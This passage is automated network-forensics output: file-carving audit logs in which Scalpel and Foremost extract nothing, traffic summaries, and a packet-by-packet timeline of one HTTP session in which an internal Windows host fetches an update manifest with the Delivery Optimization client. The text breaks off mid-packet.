5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-07-09T18:12:37.002868,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpjyywdq50/carved/scalpel/audit.txt,468,6e5ecacfd5132cc1db5bc43f6469cdec,a8cc656f16d7e6645322c5b6147a27e44760abe64403d333cd933daf116bbd5e,5.07,\"Scalpel version 1.60 audit file, Started at Thu Jul  9 18:12:37 2026, Command line:, scalpel -c /tmp/tmpjyywdq50/carved/scalpel.conf /tmp/filtered_p04zeytr.pcap -o /tmp/tmpjyywdq50/carved/scalpel , Output directory: /tmp/tmpjyywdq50/carved/scalpel, Configuration file: /tmp/tmpjyywdq50/carved/scalpel.conf, Opening target , /tmp/filtered_p04zeytr.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, Completed at Thu Jul  9 18:12:37 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 31 32 3a 33 37 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 6a 79 79 77 64 71 35 30 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 70 30 34 7a 65 79 74 72 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 6a 79 79 77 64 71 35 30 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 6a 79 79 77 64 71 35 30 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 6a 79 79 77 64 71 35 30 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 70 30 34 7a 65 79 74 72 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 31 32 3a 33 37 20 32 30 32 36 0a\n2026-07-09T18:12:36.998484,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpjyywdq50/carved/foremost/audit.txt,698,ffa9ee33f93bbf605d62482f6380ac34,5796f4ffd3120c709563fc2d65deee3062f0866df0a79397ceac3a73be5178c2,4.92,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Thu Jul  9 18:12:36 2026, Invocation: foremost -t all -i /tmp/filtered_p04zeytr.pcap -o /tmp/tmpjyywdq50/carved/foremost , Output directory: /tmp/tmpjyywdq50/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_p04zeytr.pcap, Start: Thu Jul  9 18:12:36 2026, Length: 5 KB (6108 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Thu Jul  9 18:12:36 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Thu Jul  9 18:12:36 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 31 32 3a 33 36 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 70 30 34 7a 65 79 74 72 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 6a 79 79 77 64 71 35 30 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 6a 79 79 77 64 71 35 30 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 70 30 34 7a 65 79 74 72 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 31 32 3a 33 36 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 35 20 4b 42 20 28 36 31 30 38 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 31 32 3a 33 36 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 54 68 75 20 4a 75 6c 20 20 39 20 31 38 3a 31 32 3a 33 36 20 32 30 32 36 0a\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,13,5543,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,0,10.152.152.11,194.36.32.204,GET,194.36.32.204,http://194.36.32.204,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n64005,13,5543,50.00%,50.00%\n80,13,5543,50.00%,50.00%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-07-09 12:29:43.088408,1,TCP 10.152.152.11:64005 -> 194.36.32.204:80,10.152.152.11,194.36.32.204,64005,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=2078835704 Ack=0,bc24112907bbbc2411360d0c08004500003428f5400080064c3b0a98980bc22420ccfa0500507be883f8000000008002faf0f4540000020405b40103030801010402,\".$.)...$.6\n...E..4(.@...L;\n....$ ....P{............T..............\",[TSHARK-OBJECT] windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10485, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19515, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.204\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 80, \"\"seq\"\": 2078835704, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 62548, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-09 12:29:43.088489,2,TCP 194.36.32.204:80 -> 10.152.152.11:64005,194.36.32.204,10.152.152.11,80,64005,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=722712366 Ack=2078835705,bc2411360d0cbc24112907bb080045000034000040004006b530c22420cc0a98980b0050fa052b13b72e7be883f98012faf085ba0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@..0.$ .\n....P..+...{......................\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 46384, \"\"src\"\": \"\"194.36.32.204\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64005, \"\"seq\"\": 722712366, \"\"ack\"\": 2078835705, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 34234, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-09 12:29:43.088702,3,TCP 10.152.152.11:64005 -> 194.36.32.204:80,10.152.152.11,194.36.32.204,64005,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2078835705 Ack=722712367,bc24112907bbbc2411360d0c08004500002828f6400080064c460a98980bc22420ccfa0500507be883f92b13b72f5010040249c40000,\".$.)...$.6\n...E..((.@...LF\n....$ ....P{...+../P...I...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10486, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19526, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.204\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 80, \"\"seq\"\": 2078835705, \"\"ack\"\": 722712367, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 18884, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:29:43.088736,4,TCP 10.152.152.11:64005 -> 194.36.32.204:80,10.152.152.11,194.36.32.204,64005,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,PA,,http://194.36.32.204/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,bc24112907bbbc2411360d0c0800450001bd28f7400080064ab00a98980bc22420ccfa0500507be883f92b13b72f50180402074f0000474554202f7068662f632f646f632f70682f70726f64352f6d73646f776e6c6f61642f7570646174652f736f6674776172652f736563752f323032352f30392f313032342f77696e646f777331302e302d6b62353036363133302d7836342d6e64703438315f303630343666656537653834666462323532626630646661306435313737326164613536303462652e6361622e6a736f6e3f6361636865486f73744f726967696e3d646f776e6c6f61642e77696e646f77737570646174652e636f6d20485454502f312e310d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6963726f736f66742d44656c69766572792d4f7074696d697a6174696f6e2f31302e300d0a4d532d43563a2055384c634a70724350452b717533576e2e312e312e372e322e342e312e310d0a436f6e74656e742d4c656e6774683a20300d0a486f73743a203139342e33362e33322e3230340d0a0d0a,\".$.)...$.6\n...E...(.@...J.\n....$ ....P{...+../P....O..GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Microsoft-Delivery-Optimization/10.0\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1\nContent-Length: 0\nHost: 194.36.32.204\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 445, \"\"id\"\": 10487, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19120, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.204\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 80, \"\"seq\"\": 2078835705, \"\"ack\"\": 722712367, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 1871, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"*/*\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": \"\"gzip, deflate\"\", \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": \"\"0\"\", \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"194.36.32.204\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Microsoft-Delivery-Optimization/10.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CV': b'U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1'}\"\"}}]\"\n2026-07-09 12:29:43.088744,5,TCP 194.36.32.204:80 -> 10.152.152.11:64005,194.36.32.204,10.152.152.11,80,64005,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=722712367 Ack=2078836110,bc2411360d0cbc24112907bb080045000028beba40004006f681c22420cc0a98980b0050fa052b13b72f7be8858e5010003f85ae0000,\".$.6\n..$.)....E..(..@.@....$ .\n....P..+../{...P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 48826, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63105, \"\"src\"\": \"\"194.36.32.204\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64005, \"\"seq\"\": 722712367, \"\"ack\"\": 2078836110, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 34222, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:29:43.475314,6,TCP 194.36.32.204:80 -> 10.152.152.11:64005,194.36.32.204,10.152.152.11,80,64005,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,bc2411360d0cbc24112907bb080045000d80bebb40004006e928c22420cc0a98980b0050fa052b13b72f7be8858e5018003f93060000485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a205468752c203039204a756c20323032362031323a32393a343320474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20333739330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a207075626c69632c6d61782d6167653d3137323830300d0a4c6173742d4d6f6469666965643a204d6f6e2c203133204f637420323032352032323a33353a343620474d540d0a5669613a20312e31207661726e6973680d0a4167653a20310d0a582d5365727665642d42793a2063616368652d6672612d65646466383233303037372d4652410d0a582d43616368653a204849540d0a582d43616368652d486974733a20310d0a582d54696d65723a2053313736303436313231302e3135323833312c5653302c5645310d0a582d4349443a2031303030360d0a582d4343433a2038623362316166392d643737332d343736632d623339332d3161393634373639343930640d0a436f6e74656e742d53656375726974792d506f6c6963793a2064656661756c742d737263202773656c662720687474703a2068747470733a20646174613a20626c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a205354414c450d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e